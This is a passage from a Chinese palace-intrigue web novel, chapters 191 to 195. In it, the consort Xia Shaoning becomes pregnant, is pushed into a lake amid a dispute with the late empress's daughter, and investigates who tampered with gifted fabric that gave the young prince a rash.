“我倒是没有父亲与大哥考虑得周到。”听得柳氏的解释,夏韶宁这才明白为何她们执意要对着自己行大礼。
“宁……娘娘这几个月过得可好?”
郝氏倒是不管那么多,她抬眼瞧着夏韶宁瘦得明显,这会儿可是心疼得不得了,眼眶都不知不觉地红了起来。
“母亲别难过,我好得很呢!”看着郝氏这般样子,夏韶宁心里也有些酸了起来,“只是今日一别,大概要等三年以后才能相见了,也不知道父亲怪不怪我擅自答应了圣上将他外放的旨意。”
“娘娘别胡思乱想,老爷当然明白您与圣上的良苦用心。”哪怕郝氏再愚钝,这会儿子也看出了夏韶宁面上的无奈。
“老爷说了,他若是不外放,这辈子撑死也只能做到个五品官。只是娘娘如今已经是贵妃了,若是娘家家世一直这般低,娘娘在宫里的日子也不过好。倒是不如趁着他还不算太老,去外放历练积累一番,日后回了金州,也可为圣上与娘娘分忧。”
夏韶宁听着郝氏一字一句地传达着父亲的想法,心中忽然觉得她这个父亲真的不像面上看着的那般木讷。就如萧祈安说的,夏宽是个有能力也有大智慧的人。
“难为父亲这般理解我。”夏韶宁呼了一口气,再抬头终于对着两人露出了难得的笑脸。
“父亲这番去辽州,母亲要跟着一块儿去吗?还有祖母,也一块去吗?”
“老爷说了,母亲年纪大了,就不再折腾她了。他去了辽州,明朗和英儿还在家里,这几年就让他们夫妇俩照顾着母亲吧。”
说到这儿,郝氏看了一眼坐在自己身边的柳白英,对自己这个儿媳妇那可真是一百个放心。
“最后决定我与你姨娘跟着老爷一道去辽州,冉儿还没定人家,就让李姨娘在家陪着冉儿也服侍着母亲,这般正好。”
听得郝氏的这般安排,夏韶宁还是觉得很满意的。
郝氏是主母,但是性格有些莽撞,跟着夏宽去了辽州免不了要应付那群地方官员家的女眷们。有她的亲娘付氏跟在身边帮着应付一番,倒是也不至于让自己吃亏。
“母亲今日提起冉儿,我倒是想起来了,冉儿今年十六了,父亲这又得外放辽州三年,没想过要给冉儿先定个人家吗?”
说起这个性子柔弱
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的妹妹,夏韶宁的眉头倒是忍不住皱了起来。
“哎,这……还是英儿你来说吧。”
听得夏韶宁提起夏家这个最小的女儿,郝氏便忍不住叹了一口气,转头对着柳白英摆了摆手。
“小妹因为之前**小姐的那件事情吓得不轻,虽然那**的死与小妹并没什么很大的关系,但是到底给她留下了一些心理阴影。”
柳白英抬头看了看不住叹气的郝氏和一脸疑惑的夏韶宁,又继续开口了。
“父亲早一个月前就想给小妹相看人家了,可是每每我们都觉得不错的人家,小妹却怎么都不愿意。后来我私底下去问她,她才说了她这两年不想嫁人,她……似乎有些害怕。”
听得柳白英的话,夏韶宁这才明白了。
**就是因为自己的恋爱脑被废太子给勒死的,这几个月发生了那么多事,想来这小丫头是真的被吓着了。
“不嫁就不嫁吧,本来也才刚刚十六岁,就算等父亲母亲回到金州,她也才十九岁,年纪也不算很大。”
夏韶宁捏着手中的帕子思索了好一会儿,最终还是开口安慰起一直坐在她身边长吁短叹的郝氏来。
“她堂堂贵妃娘娘的亲妹子,以后还怕找不到好人家吗?母亲和嫂嫂别担心了。”
“母亲不担心那些,你哥哥妹妹再怎么样都在父亲母亲的身边,倒是娘娘一个人在这深宫里,我们又要离开金州三年,我这心里……”
郝氏拉着夏韶宁的手,看着她脸上那完美的笑容,忽然就觉得心疼起来。
“母亲放心吧,圣上向着我,别人就欺负不了我。”夏韶宁拍了拍郝氏的手又道,“再说我是那般容易受欺负的人吗?这宫里的女人再厉害,我兵来将挡水来土掩就是了!哪怕以后圣上不向着我了,我如今所拥有的一切也能好好支撑着我在这宫里活下去了!”
说到这里,夏韶宁又深深看了郝氏和柳氏一眼,朗声道,“倒是夏府的一切,还是要拜托母亲和嫂嫂了!”
第一百九十一章 终于有孕
九月就这样悄悄过去了,等到夏韶宁反应过来的时候,已经是十月中旬了。
因着先帝今年驾崩,哪怕已经过了孝期,宫里还是默认不举行任何的节日活动。
所以夏韶宁也就少了很多筹备宴会、庆典等麻烦的事情。虽然她这个人很好学也很愿意学,但是如果可以当一条咸鱼,谁又不想好好休息呢?
而人只要一闲下来,就很容易关注一些其他问题。就比如这几天,夏韶宁就觉得自己的身体变得很不对劲。
“蕙心,若是我没记错,我三日前是不是就该来月信了?”
这一日,夏韶宁正坐在窗前喝茶,忽然感觉自己的某个地方有些胀痛,想一想时间,脸色忽然就变了。
“娘娘这么一说,奴婢也忽然想起来了,您这月的月信好像是迟了三日了。”
蕙心这会儿正在整理夏韶宁入冬的衣物,听得她的问话,一下子也愣住了。
这个时候的夏韶宁,心中忽然有了一丝激动的感觉。她也没再继续开口,随即小心翼翼地用一只手的手指搭上了另外一只手的手腕上。
蕙心也意识到了娘娘是在做什么,也不整理衣服了,连声都不敢出,急忙蹲在夏韶宁的脚边牢牢地盯着她把脉的那只手。
人在遇到事情的时候总会觉得当下的时间过得特别慢,连夏韶宁自己都不知道过了多久,她终于将手给放了下来。
她伸出手来将蹲在地上的蕙心拉了起来,与她说话的语气是抑制不住的兴奋。
“蕙心,我有孕了!我终于要有一个与自己血脉相连的孩子了!”
……
夏韶宁并没有因为这突如其来有孕的消息乱了分寸,在把出自己有孕后,她转头就让蕙心去太医院把辛夷给请来了。
因着之前在先帝的孝期内,宫里的所有部门都很忙,说起来,这还是夏韶宁入宫后第一次见到辛夷。
辛夷入了内殿,先是抑制住了自己兴奋的情绪跪下身来规规矩矩对着夏韶宁请了安,再起身的时候,夏韶宁才看见她居然蓄了满眼的泪。
“瞧你,都是女医官了,怎么倒是变得比从前爱哭了?”夏韶宁笑着对着辛夷招了招手,“到我身边来,让我好好看看你。”
辛夷别过头来偷偷将眼角的泪擦干,这才走到夏韶宁的身边小心翼翼地拉住了她的手。
“娘娘……真的已经有了月余的身孕了。”辛夷翻来覆去地将夏韶宁的两只手都把了一遍,这才兴奋地对着她道,“娘娘的脉象强健有力,如此瞧着是个健康的小主子!”
“你替我看过了,我就放心了,我还总怕自己把错了。”听得辛夷这番话,刚刚还有些不确定的夏韶宁终于放下心来,“三年了,我还以为是之前那药把我的身子吃坏了,还怕这辈子都生不出孩子来了呢!”
“呸呸呸,娘娘是有福之人,怎会生不出孩子?如今看来小主子更是有福之人,这可是圣上登基以后的第一个孩子!”
看着夏韶宁松了口气的样子,兰芷倒是显得比她本人更开心的样子。
从前在潜邸的时候,几个人里面就兰芷最希望夏韶宁早日生下个小主子。没想到这小主子还真是会挑时间,这就来了。
“是啊,这般算起来,娘娘的预产期大概在明年七月。坐完月子正好赶得上光启年间第一次选秀,一切都刚刚好。”
辛夷环顾四周,从一旁的椅子上又拿过了一个靠枕垫在了夏韶宁的腰上,转头对着其他宫女道,“娘娘初有孕,以后这殿内的座椅上都得放些软的靠枕,别让娘娘累着了。”
夏韶宁抬眼瞧着辛夷还是与从前在潜邸时那般一心一意地为着自己,心中别提多熨贴了。
“你别忙了,快坐下跟我说说,你这段时间过得可好?有没有人欺负你了?”
夏韶宁一边说一边拉过辛夷的手,示意她坐下陪自己说会儿话。
“一开始入太医院的时候,是有些遭人排挤,很多太医都在背后说我是靠关系进来的。”
辛夷坐了下来,一点点开始对着夏韶宁述说自己在太医院这段时日的生活。
“说实话,那段时间还是挺难熬的,也曾想过我一个女人入了这太医院,成了大容第一名女医官是好还是不好?”
“可是渐渐地我就想起了娘娘从前同我说的话,让我别管那些无谓的事情,只一心救人便是,于是我便自己想通了。此后除了治病、研究药方,我一句多余的闲话都不说,一件闲事都不做。”
“慢慢地,那些人也看到了我的努力,便也不再同一开始那么排斥我了。相反地因为我是女子,后宫里的娘娘还更愿意找我看病呢!”
说到这里,辛夷又有些激动地从椅子上站了起来。
“如今娘娘入了宫,辛夷又能继续伺候娘娘了,我心中真的好开心!”
“我如今有了孕,你又在太医院任职,想来一切都是最好的安排了。”听得辛夷的话,知道她现在过得不错,夏韶宁也就放心了。
她不自觉地将手放在了自己尚平坦的小腹上,轻声道,“谢谢你选择当我的孩子,母妃一定要将这个世界上最好的东西,统统送给你!”
……
其实从前在那些小说里看到的后宫里有宫妃怀孕一瞒就瞒三个月,根本就是不现实的。
后宫的妃子,每一次侍寝都是有尚寝局记档的,每个妃子每月的换洗时间也是有记录的,想要瞒着圣上和后宫的众宫妃偷偷怀孕,显然是不可能的。
所以,夏韶宁也就没想过要瞒着萧祈安和其他人,辛夷从承乾宫离开以后,夏韶宁转头就往紫宸宫去了。
这会儿的萧祈安刚刚见过大臣,此刻正坐在龙椅上休息,便见着夏韶宁满脸带笑朝着自己走了过来。
本来刚刚议论事情还有些累,这会儿见着这丫头笑得开心,萧祈安忽然就觉得满身的疲惫瞬间就消失了。
“什么事要笑得这么开心?”萧祈安从龙椅上走了下来,自然而然地牵住了夏韶宁的手。
只是这一次的夏韶宁却没有随着他往前走,而是将萧祈安的手轻轻放到了她的小腹上。
萧祈安起先还有些不明所以,他皱着眉头盯着自己放在夏韶宁小腹上的手看了好一会儿,又抬头看着夏韶宁一直都在对着自己笑,于是他瞬间就明白了过来。
刚开始还是一抹浅浅的笑,到最后,萧祈安甚至控住不住就在紫宸殿放声大笑起来。
“哈哈哈哈哈,我有孩子了!我与宁儿终于要有孩子了!”
第一百九十二章 大公主
承乾宫昭贵妃有孕的消息,不出半日便传得满宫都知道了。
萧祈安开心得好像是第一次当父亲一样,恨不得把最好的东西全都送到夏韶宁那里去。
从晌午以后,张全和就带着一拨一拨送赏赐的人往承乾宫来了,足足跑了三趟,才将萧祈安吩咐要送到承乾宫的赏赐送完。
这会儿的夏韶宁正懒洋洋地歪在贵妃榻上,吩咐着她的贴身宫女们将萧祈安赏赐的东西一样一样地收拾好。
“厚的料子留下,含秋明日送到尚衣局去给我做几身冬天的厚衣裳。再挑一些颜色鲜艳的,送去重华宫里给大公主和三皇子吧。”
“这一个月,娘娘已经送了三次东西去重华宫了。”兰芷拿着单子清点着白日里萧祈安送来的赏赐,转头看了眼夏韶宁,“还要送吗?”
“圣上听到我有孕了如此开心,若是我再不对孝端皇后留下的两个孩子好一些,谁知道前朝后宫的那群人要怎么说我。”
夏韶宁接过惜春剥好的蜜橘放进了嘴里,说话的语气仍旧懒洋洋的。
“娘娘放心,奴婢派人盯着重华宫呢,大公主和三皇子的几个奶娘都是好的,没人在两位小主子面前搬弄是非。”
蕙心蹲下身来帮着夏韶宁揉了揉腿,语气温柔,“两位小主子定会记得娘娘的好的。”
“我没想要他们记得我什么好,只是如今她们没了亲娘,我又是看着她们长大的,能帮就帮着点吧,就当是为我腹中的孩儿积福了。”
夏韶宁一边说,一边低下头伸出手来温柔地抚摸着自己的肚子,动作格外轻柔。
与此同时,重华宫。
“公主,昭贵妃又送了些好料子来,奴婢明日拿去尚衣局给您和三皇子做几身冬天的厚衣裳吧!”
眼见着大公主入了殿来,大公主的奶娘满脸开心地对着她道。
只是出乎奶娘意料之外的,听得她的话,大公主面上却是淡淡的。
“几匹料子罢了,从前我母后在的时候我与驰儿什么没有,要她在这装什么好人。”
大公主走到那几匹料子前,抬手就想要将那料子丢出去。可是脑海中忽然想起了一件事情,刚刚拿在手中的料子又被她放了下来。
“公主怎么了?奴婢怎么觉得您最近的情绪不大好?”
伺候大公主的奶娘是从前孝端皇后在时亲自为她选的,所以对大公主可以说是十分的了解了。
具体也说不上怎么了,只是她总觉得自昭贵妃娘娘有孕以后,大公主的性子好像就变得同从前完全不同了。
“没什么,只是最近在崇文馆上课时先生讲的课有些难,我学起来有些累。”
大公主并不想同奶娘说太多,是而这会儿说话的语气就有些敷衍。
“公主有何不懂的可以去问圣上啊,圣上最疼公主了。”瞧着大公主的情绪不高,奶娘便想要捡着好听的话哄哄她。
谁知道这话一出口,刚刚还只是面无表情的大公主,却忽然发起脾气来!
“父皇哪里疼我了,我瞧着他如今心里只有昭贵妃和她肚子里那个庶子!”
说到这儿,大公主的面上忽然就露出了一丝十分悲伤的神情,到底还是冲到桌子前将白日里承乾宫送来的东西统统扫到了地上。
奶娘不知大公主怎么了,见着她生气了,也只好跪在地上不住地朝着她请起罪来。
“奶娘你起来,我不是冲着你。”似乎意识到了自己的表现有些过了,大公主到底还是走到奶娘身边将她从地上拉了起来。
“以后承乾宫送来的东西,无论是吃的穿的还是用的,一律不许给我和驰儿用。若是被我发现你们偷偷用了,我是要打你们板子的!”
“是是是,奴婢记住了。”听得大公主的这番话,虽然奶娘心中还是有些不理解,但是她也不好忤逆大公主惹她生气了。
她站起身来看了看被大公主丢在地上的那几匹料子,摇了摇头就准备拿出去清理掉。
主子不要,大不了她们这些宫人分了就是,如此也不算白瞎了这些好料子。
谁知奶娘刚准备将料子拿出去,却被大公主给拦住了。
“这一次的不算,从下一次开始。手头上的这些你们拿去尚衣局给我和驰儿做衣裳吧!”
……
几天后。
“娘娘,三皇子身边的奶娘来报,说三皇子出事了!”
这会儿的夏韶宁正躺在贵妃榻上小憩,冷不防听得含秋从外头着急忙慌地跑了进来,惊得她猛地就睁开了眼睛。
“出什么事儿了?”夏韶宁从榻上坐了起来,转头盯着含秋问道,“三皇子怎么了?”
“三皇子的奶娘刚刚来报,说三皇子今日早晨起床的时候身上忽然长了好多鲜红的疹子,口中一直不停哭喊着又热又痒,如今已经跑到了千里湖旁边闹着要往里头跳呢!”
含秋快步走到夏韶宁的身边,简单快速地将刚刚奶娘说的话对着她复述了一遍。
“胡闹!重华宫的那群宫人都是干什么吃的?怎么能让三皇子跑到千里湖去?!”听得含秋的话,夏韶宁“腾”的一声从贵妃榻上站了起来,“如今都是十月里了,万一三皇子一个不小心跌下去可怎么是好?”
“惜春,你去太医院请两个擅小儿病症的太医去重华宫,蕙心和含秋还有李顺陪着我去千里湖看看!”
留下这句话,夏韶宁便带着蕙心和含秋急急忙忙往往千里湖去寻三皇子了。
夏韶宁紧赶慢赶赶到千里湖的时候,刚好瞧见三皇子正站在千里湖旁哇哇大哭,大公主正满脸焦急地和几个奶娘站在旁边哄着他。
“驰儿别哭了,快到姐姐这里来,姐姐给你请太医来看看,别再往湖边走了!”
大公主蹲在地上,手中拿着三皇子喜欢吃的东西在旁边引诱着他,希望他能赶快回到她们身边去。
可惜这会儿的三皇子仿佛中了邪一样谁说的话都不听,只是一个人站在千里湖旁边一边哭一边口齿不清道,“我好痒,好热,我要去湖里泡泡!要去泡泡!”
“你们这么多人站在这里是做什么的?三皇子那么小一点儿的孩子,直接上去把他抱过来便是了,在这啰嗦什么?!”
瞧见眼前这幅景象,夏韶宁生气极了,转过头来就对着李顺小声道,“李顺,你趁三皇子不注意,赶快把他抱过来!快去!”
第一百九十三章 又落水
“不许你们靠近驰儿,你们走开!”
眼见着李顺就要往三皇子身边靠,大公主却忽然如同一只发疯的小狗一样猛地冲到了夏韶宁的身前,用尽了全身的力气将李顺推了开来。
大公主的奶娘一开始还没有反应过来,这会儿瞧见大公主忽然冲到昭贵妃面前,吓得急忙三步并作两步拉住大公主就要跪下给夏韶宁请罪。
“昭贵妃娘娘息怒,大公主是太担心三皇子了,不是故意要冲撞娘娘的……”
“奶娘!你这么怕她做什么!!”
这会儿的大公主压根不肯朝着夏韶宁跪下来,眼见着奶娘仍在死命拉着她的手,她一把就将奶娘的手甩开了。
“驰儿就是因为穿了她送来的布料做成的衣裳才发了满身的疹子的,她还来这里装好人,我才不要她靠近驰儿!谁知道她还会想出什么办法去害驰儿!”
大公主如今已经快六岁了,这会儿的思维和口齿已经很清楚了。她说这话的时候一直死死盯着站在李顺身后的夏韶宁,而夏韶宁竟然在一个不到六岁的孩子脸上看到了一股浓烈的仇恨。
“怎么回事?”听得大公主这番话,夏韶宁的眉头也不自觉地皱了起来。她低下头来看了一眼跪在地上的奶娘,冷声道,“你来说。”
奶娘被点了名,这会儿也不能再装傻了。她跪在地上踌躇了好一会儿,才慢吞吞地开口了。
“前段时日贵妃娘娘派人送了一些料子来送给大公主和三皇子,奴婢们见着这料子极好,便想着送去尚衣局给两位小主子做几身冬天的衣裳。”
“今日天气有些凉,三皇子的奶娘又见衣裳做好了,今日早晨便挑了一件合适的给三皇子穿上了。谁知道三皇子穿上这衣裳还不到半个时辰,身上就开始发起红疹来,三皇子一直哭哭啼啼说身上又热又痒,这才吵着闹着要往千里湖里跳呢!”
大公主的奶娘一边说,一边偷偷抬眼观察着夏韶宁的脸色。眼见着这位昭贵妃的脸色越来越差,奶娘便又忙不迭地补了一句,“贵妃娘娘别多心,或许三皇子身上起疹子并不是这衣裳导致的……”
“怎么不是了!宫里的人都在说,说昭贵妃如今怀了孩子,父皇就不疼我们只疼她的孩子了!她一而再再而三地往重华宫送东西,不就是为了找机会害我们,觉得我们碍着她孩子的路了……”
听得奶娘因为惧怕说出来的话,大公主气得下意识地反驳了起来。只是她的话还没说完,就被奶娘死死地将嘴巴给捂住了。
此时的千里湖边忽然变得安静了起来,连刚刚一直哭喊着要往湖里跳的三皇子也不哭了,这会儿正瞪着那双哭得通红的大眼睛往夏韶宁这边看呢。
看着眼前这般乱哄哄的场面,夏韶宁却一声没吭。
她虽然耳朵在听着大公主和奶娘说话,眼睛却一直时不时地在往千里湖旁边的三皇子身上瞟。
眼见着这会儿三皇子的注意力已经被分散了,她也不敢开口喊人,在心里想了好大一会儿,她忽然以迅雷不及掩耳之势一把就朝着三皇子冲了过去!
站在她身边的蕙心和含秋都惊呆了,眼见着夏韶宁已经朝着三皇子冲了过去,她们两个也不由分说地急忙往夏韶宁身边扑去!
“不许你动我弟弟,你走开!你快走开!”
眼见着夏韶宁还差一点点就要抓住三皇子的手了,大公主立刻挣脱了捂着她嘴的奶娘,一个箭步就朝着三皇子冲了过去!
一时之间,千里湖旁的场面变得十分的混乱。夏韶宁感觉自己身边有许多人朝着她扑了过来,她下意识地伸出手来护着自己的小腹,却在混乱中忽然感觉身后有人伸出手来推了她一下!
此刻的她本能的想要站起身来,可是却觉得脚底打滑一般怎么都站不住,“噗通”一声巨响,她整个人就掉进了冰冷的千里湖中!
“娘娘!”这会儿的李顺是最靠近夏韶宁的,眼见着贵妃娘娘就在自己的眼皮子底下落了水,他整个人仿佛被电击了一般大脑瞬间空白了起来。
不过也就呆愣了几秒钟,他便忽然像开了窍一般即刻便将手中的拂尘丢到了一边,一个猛子就扎进了湖水里!
这会儿的夏韶宁感觉到自己的身体越来越重,她潜意识想要伸出手来往水面上扑腾,可是却感觉自己的手仿佛被灌了铅一样使不出一点儿力气。
就在她觉得自己快要沉入水底的时候,忽然就感觉自己被人给死死抓住了!
“娘娘!您抓住奴才,奴才来救您了!”
耳边断断续续响起了李顺的声音,夏韶宁的心这才渐渐放了下来。
她使尽了全身的力气才够住了李顺的手,这才由得李顺带着她一点点往岸边游去。
“蕙心姐姐,我把娘娘救上来了,快叫太医!”
就在众人站在岸边焦急万分的时候,便见着浑身湿漉漉的李顺用尽全力将夏韶宁托到了岸上!
“娘娘您撑住,奴婢去找太医来!”
……
承乾宫。
睡梦中的夏韶宁忽然觉得耳边有些吵,只是她的眼皮实在太重了,怎么都睁不开眼睛。
于是她只能暂时闭着眼睛,听着耳边传来的各种说话声。
“你这孩子心思怎么这般狠毒?!昭母妃她有孕了,你怎能把她往水里推?!”
“我没有推她,是她自己掉下去的,父皇怎么能冤枉我?!”
“父皇如今心里只有昭母妃,怕是早就将我的母后忘记了!我的母后才是正经的皇后,我和驰儿才是正经的嫡子嫡女,她肚子里的孩子又算什么?就算是个儿子,也是个庶子,怎能与我和驰儿相提并论?!”
“萧心若!到底是谁教你说的这些嫡嫡庶庶的胡话?!从前你母后在的时候是怎么教你的,你都忘记了吗?”
听着耳边吵闹的声音越来越大,夏韶宁只好强迫自己把眼睛睁了开来。还好这次,她成功了。
“陛下别气了……臣妾没事儿了……”
第一百九十四章 怀疑
“宁儿,你醒了,有没有觉得哪里不舒服?”
这厢的萧祈安正被梗着脖子就是不认错的大公主气得头疼,便感觉自己的手被人轻轻地抓住了。他忙转头一看,这才发现夏韶宁不知何时已经醒了过来。
“陛下,臣妾肚子里的孩子怎么样了?”
眼瞧着众人都把目光转向了自己,夏韶宁急忙开口询问萧祈安。
毕竟她如今有孕才月余,这十月里的天好端端地跌进了如此冰冷的湖水里,她真的很担心这孩子没办法保住。
“幸好你身边的内侍机灵,及时将你救起来了。孩子没什么事儿,倒是你自己还有没有哪里不舒服?”
萧祈安伸出手来摸了摸夏韶宁的额头,发现她的体温没有哪里不正常的,这才放心了许多。
听得萧祈安这番话,夏韶宁还是有些不放心。最后还是蕙心和兰芷双双给了她一个安定的眼神,她才渐渐安心下来。
“孩子没事就好,臣妾没有哪里不舒服了。”
其实刚刚落水大概不到十分钟自己就被李顺给救起来了,这会儿已经换了干净的衣裳屋子里也烧起了暖暖的地龙,夏韶宁早就已经缓过来了。
这会儿的大公主,一直站在一旁,眼见着自己的父皇心里眼里全都是别的女人的孩子,更是气得眼睛都红了起来。
“她是没事了,可是驰儿这会儿正难受地躺在重华宫的榻上,父皇都不去看看他吗?”
夏韶宁一开始只顾着自己肚子里的孩子,这会儿听得大公主出声,这才注意到了一旁眼眶发红的小姑娘。
她盯着大公主看了好一会儿,才发现这姑娘不知何时已经开始抽条了。这般发现,夏韶宁还真的不能确定到底是不是她趁着混乱将自己推进千里湖的。
眼见着躺在床上的夏韶宁一直不出声,萧祈安便知她心中也是有气的,只是当着孩子和宫人的面,她是绝对不会表现出来的。
可是那厢三皇子也的确生病了,萧祈安作为孩子的父皇,无论如何也是该去看看的。
于是他只得轻轻捏了捏夏韶宁的手,轻声对着她道,“朕一会儿就下旨让辛夷住到承乾宫来照顾你直到你生产。你好好休息,朕晚些时候再来看你。”
说完这番话,萧祈安便带着大公主离开了。
眼见着父皇要走,大公主急忙跟了上去,而踏出内殿的那一刻,她却转过头来对着夏韶宁露出了一丝胜利者的微笑。
夏韶宁心中一怔。
两人离开之后。
“含秋,你去一趟尚衣局,将前段时间给三皇子做了衣裳的所有宫人都细细盘问一遍,只要有疑点的就全都带回来我亲自审问!我倒是要看看,谁敢把我当傻子,借我的手来搞事情!”
夏韶宁靠在床头,厉声对着含秋吩咐了一声。这会儿的含秋心里也憋着一股气,不管怎么说那料子都是经她的手送进重华宫的,如今出了事,她比谁都生气。
所以这会儿听得娘娘的吩咐,含秋便即刻应声去了。
“李顺,你到本宫身边来。”顺了一口气,夏韶宁便对着李顺招了招手。
这会儿的李顺也已经换了一身干净衣裳,只是因为赶着回来伺候夏韶宁,头发都没来得及擦干,还是湿漉漉的。
“娘娘……”李顺小心翼翼地走到了夏韶宁的身边,抬头看了她一眼又迅速低下了头去。
“多谢你今日救了本宫和本宫的孩子,你的诚心本宫看到了。”夏韶宁对着李顺笑了笑,而后又道,“日后在本宫身边伺候的时候不必这般小心翼翼的。”
李顺没想到堂堂贵妃娘娘居然真的会特意感谢他,一时间倒是有些不太适用,愣在原地半天说不出话来。
“高兴傻了不成?娘娘这话可是将你当作自己人了。”眼见着李顺这般傻呆呆的样子,蕙心忍不住捂着嘴笑了。
而一旁的兰芷更是直接丢了一条干净的毛巾到他身上对着他道,“快擦擦你那头发吧,别到时候生病了耽误伺候娘娘。”
“诶,谢谢娘娘和二位姐姐。”看着自己就这样被众人接受了,李顺心中也是十分开心。
毕竟若是自己不犯错,他这辈子可能都得在贵妃娘娘身边伺候着了。能得了娘娘真心的信任,自己以后的日子也能好过许多。
“我落水的时候,李顺你是离我最近的。你仔细想一想,我身后那时候到底站了几个人,有哪几个人是最有可能从我背后将我推下水的?”
表达完了自己的感谢,夏韶宁便立刻进入了正题。
李顺这会儿已经擦干了头发,听得夏韶宁的问话,便立刻皱着眉头开始回忆起刚刚娘娘落水前的事情。
“当时娘娘站在三皇子的身边,奴才站在娘娘的身侧靠后一点儿的位置。蕙心姐姐和含秋姐姐没有大公主跑得快,就落在了大公主的后头。”
“如今想一想,那会儿站在娘娘后头的……好像只有大公主和她的奶娘……”
李顺一开始说这话的时候还挺顺溜的,直到这件事情又牵扯到了大公主,他说话也变得有些断断续续起来。
毕竟他只是一个奴才,又怎么好置喙主子们之间的事情。
“娘娘,大公主如今站起来,都到您的腰边了,若是她真的有意想将您推下水,也不是不可能。”
眼见着夏韶宁听得李顺的话陷入了沉思,一向最是小心谨慎的蕙心也忍不住开口了。
这会儿的夏韶宁,耳边响起的都是自己心腹的声音。而不知为何,她此时的脑海里却全都是刚刚大公主跟着萧祈安离开时脸上的那抹略带挑衅的胜利者的笑容。
她忽然莫名地觉得全身都发凉了起来。
“蕙心,你亲自去查一查大公主最近除了身边的奶娘,是否还与其他人有比较密切的接触。”
夏韶宁心中有个猜测,可是她却打心底里不愿意相信一个不到六岁的小姑娘能做出这种事情。
这件事情,绝对不止所有人表面上看到的那么简单。
第一百九十五章 意外收获
萧祈安离开承乾宫的时候虽然说了晚些时候来看她,可是夏韶宁心里明白萧祈安今日是肯定不会来了。
她虽然落了水,可是如今身体并没有什么大碍,反观重华宫的三皇子,那满身的疹子似乎不太好办。
果然,晚膳过后,惜春便从外头入了内殿对着夏韶宁轻声道,“娘娘,张公公刚刚过来传话,说三公子身上的疹子似乎有些棘手,圣上今日怕是不能来陪娘娘了。”
“我今日收拾东西来承乾宫的时候,刚好听到毛太医和齐太医在嘀咕三皇子的病。隐隐约约听到两位太医说,三皇子身上的疹子倒是没什么大问题,只是容易复发,怕是得好生修养一段时间了。”
白日里辛夷便已经得了萧祈安的旨意,让她住进承乾宫照顾夏韶宁直到她平安生下孩子。所以这会儿的辛夷又可以像从前在贤王府一样时刻呆在夏韶宁的身边照顾她了。
“不管怎么说,孝端皇后的娘家人在如今的大容尚能占据一席之地,而且这会儿也就剩下大公主和三皇子来维系皇室与纪家的关系了。若是圣上对三皇子的病不管不顾,前朝难免要说圣上苛待发妻的子女,不顾发妻娘家的脸面。”
夏韶宁当然不会在意萧祈安没有遵守约定来看她,如今的萧祈安已经不是从前的贤王了,他是大容的君主,要考虑的事情当然要比从前当王爷的时候要多很多。
“娘娘宽心,圣上心中定是有他的主意。”眼见着夏韶宁似乎又开始陷入了深思,辛夷忙对着夏韶宁宽心道,“不管怎么样,圣上心中是有娘娘和小主子的。”
“我不在乎那些,我只希望我的孩子能平安来到这个世界上。”
说实话,从前在王府的时候夏韶宁就对那所谓男人的宠爱看得很淡。所以她才会一直默默地经营着从萧祈安那“搜刮”来的店铺,想要努力让自己早日财富自由。
经过这两三年的财富积累,她早就已经不是一开始那个担心自己失了宠爱就没钱会被饿死的夏韶宁了。
如今她的手中早就有了花不完的钱财,而如今又有了这个与自己血脉相通的孩子,她也就将那些所谓的男女感情之事看得更淡了。
现在她唯一的愿望就是希望萧祈安能够安稳地坐好他的这把龙椅,她才好一点点地将这个世界上最好的东西统统送给她的孩子。
***
且说那一头的蕙心,得了夏韶宁的吩咐后转头就去打听大公主最近的事情了。
这不打听不知道,一打听还真有意外收获了。
“娘娘,奴婢这几日一直在想办法旁敲侧击地通过大公主身边的人打听大公主最近都做了什么或者见过什么人,如此还真叫奴婢打听着了!”
这一日夏韶宁刚歇了午觉起来,便见蕙心从外殿走了进来。
“嗯?如何?”夏韶宁本还有些困,听得蕙心的话一下子就清醒了过来。
“大公主身边的一个宫女,叫踏雪的,今年才只有十三岁。奴婢塞了些银子给她,她就什么都告诉奴婢了。”
“原来大公主自入了重华宫以后,便一直同沈婕妤身边一个叫芳芸的宫女关系很好。”
“大公主身边的奶娘管她管得严,在日常吃食上更是对她有许多不许。那芳芸便经常约着大公主在御花园见面,给大公主送一些她平日里都吃不到的东西。”
“三皇子发疹子的前一天,大公主还与那芳芸见过面。据踏雪说,两人在一块足足呆了一个时辰,大公主才带着她们回了重华宫。”
说到这里,蕙心不再出声了,而夏韶宁便也已经明白了。
“看来这沈婕妤平日里照顾那两个病病歪歪的孩子还不够累啊,还有闲心在私下里偷偷摸摸地搞这种事。”
顿了好一会儿,夏韶宁这才语带嘲讽地开口了。
而就在夏韶宁听完蕙心的禀报后,含秋也紧随其后地入了殿来。
“娘娘,奴婢依着您的吩咐去盘问了一番尚衣局的宫人,大部分宫人都没有问题,只有这个小宫女在奴婢准备离开的时候偷偷拉住了奴婢。”
说完,含秋就将一个面容怯怯的小宫女带了上来。
“给……给昭贵妃娘娘请安……”那小宫女跪在地上,低着头连夏韶宁的脸都不敢看。
“你拉住含秋,是有事情要和本宫说?”
夏韶宁打量了一番眼前这个小宫女,见她身量很小,年纪应该不大,整个人看上去也仿佛一副惊吓过度的样子,于是她不自觉地就柔了些语气。
“是……是的。”小宫女本以为这宠冠六宫的贵妃娘娘肯定是个娇纵的性子,却没想到这位娘娘居然会如此好脾气地同她一个最底层的小宫女说话。一时之间胆子也就大了起来,说话也渐渐不再结巴了。
“前段时日大公主的奶娘送了些料子到尚衣局来说要给大公主和三皇子做秋装,尚衣局不敢耽搁,一周不到便将两位小主子的衣裳做好了。”
“那一日管事本是让奴婢去重华宫送做好的衣裳的,哪知奴婢还没走到重华宫,半路上就遇上了大公主和一个同是宫女模样的人。”
“大公主让奴婢把衣裳给她带回重华宫就行了,奴婢害怕出错死活不肯,结果那个宫女模样的人直接上手扇了奴婢好几巴掌,就将衣裳抢走了!”
“且她们临走之前还恶狠狠地威胁奴婢,不许奴婢将今日的事情说出去。只是奴婢后来越想心中越委屈,恰逢含秋姐姐又来尚衣局问话,这才想着要将这件事情告诉贵妃娘娘!”
说到这里,那个小宫女忽然就委屈地哭了起来。
听得小宫女的话,夏韶宁便蹲下身子细细地盯着她的脸看了一会儿,果然瞧见两颊便还有一些轻微的红肿,看来这小宫女并没有说谎。
“你可认识那宫女是哪个宫的?”
夏韶宁蹲在地上,视线尽量同那小宫女平视。
那小宫女听得夏韶宁的问话,一时之间似乎有些苦恼。只见她闭着眼睛十分努力地想了好一会儿,最终才忽然睁大眼睛朗声道,“回娘娘的话,奴婢想起来了!”
